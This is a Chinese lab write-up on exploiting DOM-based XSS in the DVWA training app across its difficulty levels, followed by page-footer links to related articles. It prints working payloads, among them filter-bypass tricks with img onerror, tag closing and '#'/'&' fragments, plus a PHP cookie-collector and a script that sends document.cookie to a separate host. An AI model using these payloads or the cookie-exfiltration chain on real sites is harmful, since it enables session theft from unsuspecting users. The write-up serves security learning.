DVWA-XSS (DOM) DOM型跨站脚本攻击
XSS(Cross Site Scripting),跨站脚本攻击,能使攻击者在页面嵌入一些脚本代码,用户再访问,被诱导点击时,执行恶意脚本,常见为javascript,也有Flash、VBscript,常见于盗取cookie。
DOM型XSS,是利用DOM树,DOM树就是HTML之间的标签,将标签闭合,注入<script></script>标签进行脚本的执行
LOW
审计源码

没有任何过滤
点击提交后可以看到default传参的内容为English

将English改为<script>alert(document.cookie)</script>
成功弹出cookie,利用成功

反弹cookie
真正的窃取cookie不止这么简单,我们这里在Web服务器中写一个接收cookie并保存的文件
getcookie.php
<?php
$cookie = $_GET['cookie'];
fwrite(fopen('cookie.txt','a'),'Cookie : '.$cookie."\n");
?>

然后使用javascript获取cookie值,并访问getcookie.php,getcookie.php会将cookie值保存到cookie.txt中
首先测试访问getcookie.php是否正常
http://192.168.1.131/getcookie.php?cookie=nihao

查看是否生成cookie.txt

正常执行
在default传入
default=<script>document.location='http://192.168.1.131/getcookie.php?cookie='+document.cookie</script>

执行后查看cookie.txt是否反弹成功
成功反弹

Meidum
审计源码
<?php
// 检查是否有 default 的键名 ,判断 default 传参是否为空
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
// 获取 default 传参的值
$default = $_GET['default'];
// stripos 查找字符串首次出现的位置(不区分大小写)
// 查找到返回 true ,查找不到返回 false
// 判断不能查找到 <script ,并且不区分大小写
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
传参中不能含有<script,不过可以使用<img />标签,带上属性onerror='alert(document.cookie)'
测试default=<img src=1 onerror=alert(document.cookie)>

并没有弹窗,使用检查查看default的值传到了哪里

通过观察,传入的值在<option></option>标签中,尝试将传入</option>将标签闭合
default=</option><img src=1 onerror=alert(document.cookie)>

闭合后依然没有弹窗,再次检查查看default值传入了哪里

还是没有闭合,值依然在value中,尝试传入</select>闭合更外一层的<select>标签
default=</select><img src=1 onerror=alert(document.cookie)>

可以看到成功弹窗,检查查看是如何闭合的

Hihg
审计源码
<?php
// 判断是否传入数据
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# 判断获取的 default 传入的值,只能是一下四种
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
// 默认选择 English
default:
header ("location: ?default=English");
exit;
}
}
?>
这里进行了一个白名单,只能是French、English、German、Spanish,否则无法执行
这里只是后端进行数据处理,将 default 的值传入页面使用的前段的javascript,前面的等级也是

从这里可以看出,将lang的值写入到页面中标签,value的值
所以,这里只要让后端检测不到即可
使用#,就可以绕过后端的检测,GET并不会获取到#号后面的内容,PHP认为#号后面注释的内容
测试default=English #<script>alert(/xss/)</script>
注意English后面时候空格的,如果不输入空格,会被当做default的值传入后端

当然&号也是可以的,&会被后端认为是另一个传参,也不会接收
default=English&<script>alert(document.cookie)</script>
&号前面是没有空格的,传参是紧密相连的

Impossible
审计源码

这里写到不做任何处理,在前段处理
查看前段代码

这里多了一个括号,这个括号就能阻止XSS了吗,我不相信
传入default=<script>alert(/xss/)</script>测试

可以看到这里没有对传入的特殊字符进行url解码,这样就过滤了<、/、#、&等特殊字符
DVWA-XSS (DOM) DOM型跨站脚本攻击的更多相关文章
- DVWA之DOM XSS(DOM型跨站脚本攻击)
目录 Low Medium High Impossible Low 源代码: <?php # No protections, anything goes ?> 从源代码可以看出,这里low ...
- XSS CSS Cross SiteScript 跨站脚本攻击
XSS攻击及防御 - 高爽|Coder - CSDN博客 https://blog.csdn.net/ghsau/article/details/17027893 XSS又称CSS,全称Cross S ...
- 渗透之路基础 -- 跨站脚本攻击XSS
目录 漏洞原理及防御 XSS 原理分析:输出问题导致js代码被识别执行 XSS 技术分类 Cookie盗取 基于Xss的WebShell箱子的攻击 XSS相关防护过滤及绕过分析(参考链接) 防护: 绕 ...
- WebGoat学习——跨站脚本攻击(Cross‐Site Scripting (XSS))
跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是指攻击者向被攻击Web 页面里插入恶意html代码,当用户浏览该页之时 ...
- 跨站脚本攻击(Cross‐Site Scripting (XSS))
跨站脚本攻击(Cross‐Site Scripting (XSS)) 跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是 ...
- DVWA全级别之XSS(Reflected)、XSS(Stored)【跨站脚本攻击】
XSS XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强 ...
- 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF
存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...
- DVWA XSS (DOM) 通关教程
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容.结构以及样式. DOM型XSS其实是一种特殊类型的反射型XSS,它是 ...
- XSS(跨站脚本攻击)的最全总结
从OWASP的官网意译过来,加上自己的理解,算是比较全面的介绍.有兴趣的可私下交流. XSS 跨站脚本攻击 ============================================== ...
- XSS(跨站脚本攻击)简单讲解
1.1 XSS简介 跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞.这类漏洞能够使得攻击者嵌入恶意脚本代码(一般是JS代码)到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意 ...
随机推荐
- js实现不同的域名 输出不同的结果
js实现域名判断后跳转到指定网址,也适用于同一虚拟空间放多个网站: <script> try { if(self.location == "http://apple.baidu. ...
- CSS3-3D导航(transform:rotate)
借助transform:rotate实现上图的3D导航效果 具体代码如下 1 <div class="nav"> 2 <ul> 3 <li> 4 ...
- flutter List使用
_tabbarTitile.map((e){ return Tab( text: e, ); }).toList(),
- flutter 底部导航栏 BottomNavigationBar
话不多说,上代码 import 'package:flutter/material.dart'; import 'package:flutter_zhihu/pages/tabs/homeTab.da ...
- C++ push_back()函数应用
最近在学习Opencv,用C++写程序,做了一个虚拟画笔的项目,即通过摄像头采集视频图像信息,识别视频中的画笔,并画笔在空中的划痕显示在视频图像上.在进行到划痕显示的,由于视频是实时采集的,检测到的画 ...
- vue + antV G6 实现流程图完整代码 (antv G6 流程图)
效果如下: 代码如下: <!DOCTYPE html> <html lang="en"> <head> <meta charset=&qu ...
- oracle表中增加字段sql
declare v_Count1 int := 0; v_Count2 int := 0;begin select count(1) into v_Count1 from user_all_table ...
- kali linux|01.kali下安装Nessus
Kali安装Nessus 说明 Nessus是一款基于插件的系统漏洞扫描和分析软件 一.安装 1.下载安装包 https://www.tenable.com/downloads/nessus 查看ka ...
- js 导出json文件
var data={}//处理得到的json字符串 var filename = 'json.json'//json文件名 if(typeof data === 'object'){ ddd = JS ...
- DML操作数据
添加数据 insert into 表名(列的名称)(数据);ps:列的名称用` `包围可以减少出错 添加全部数据的时候可以把列的名称省略: 修改数据 update 表名 set 列名=数据,列名= ...